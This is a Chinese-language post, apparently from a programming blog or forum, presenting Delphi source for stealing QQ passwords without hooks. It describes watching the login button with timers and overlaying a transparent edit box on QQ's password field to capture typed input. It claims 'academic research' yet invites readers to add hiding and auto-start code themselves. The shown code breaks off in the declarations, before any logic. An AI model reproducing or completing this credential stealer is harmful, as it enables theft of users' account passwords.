不用hook，取得QQ密码

对于用鼠标点登录的方法，可以用timer查询鼠标是否在登录的坐标。

这个edit和QQ的不一样，解决方法，把它透明处理，不能直接用DELPHI透明。这样控件也会不显示了，或者自己到网上下一个只有窗体透明的控件，然后用label放在edit1的位置上。我已经实现了，在这里就只谈方法吧。

因为只是学术研究，不是在写盗号程序，所以没有加入任何隐藏和自动启动程序的代码。想犯罪的低素质程序员还请自己加进去。

基于2007beta2测试通过

 

 

源码如下

 

unit getQQ;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, ExtCtrls,clipbrd;

type
  TForm1 = class(TForm)
    Timer1: TTimer;
    Timer2: TTimer;
    Timer3: TTimer;
    Edit1: TEdit;
    Timer4: TTimer;
    Timer5: TTimer;
    Timer6: TTimer;
    procedure Timer6Timer(Sender: TObject);
    procedure Timer5Timer(Sender: TObject);
    procedure Timer4Timer(Sender: TObject);
    procedure Edit1KeyPress(Sender: TObject; var Key: Char);
    procedure Timer3Timer(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure Timer2Timer(Sender: TObject);
    procedure Timer1Timer(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;
  re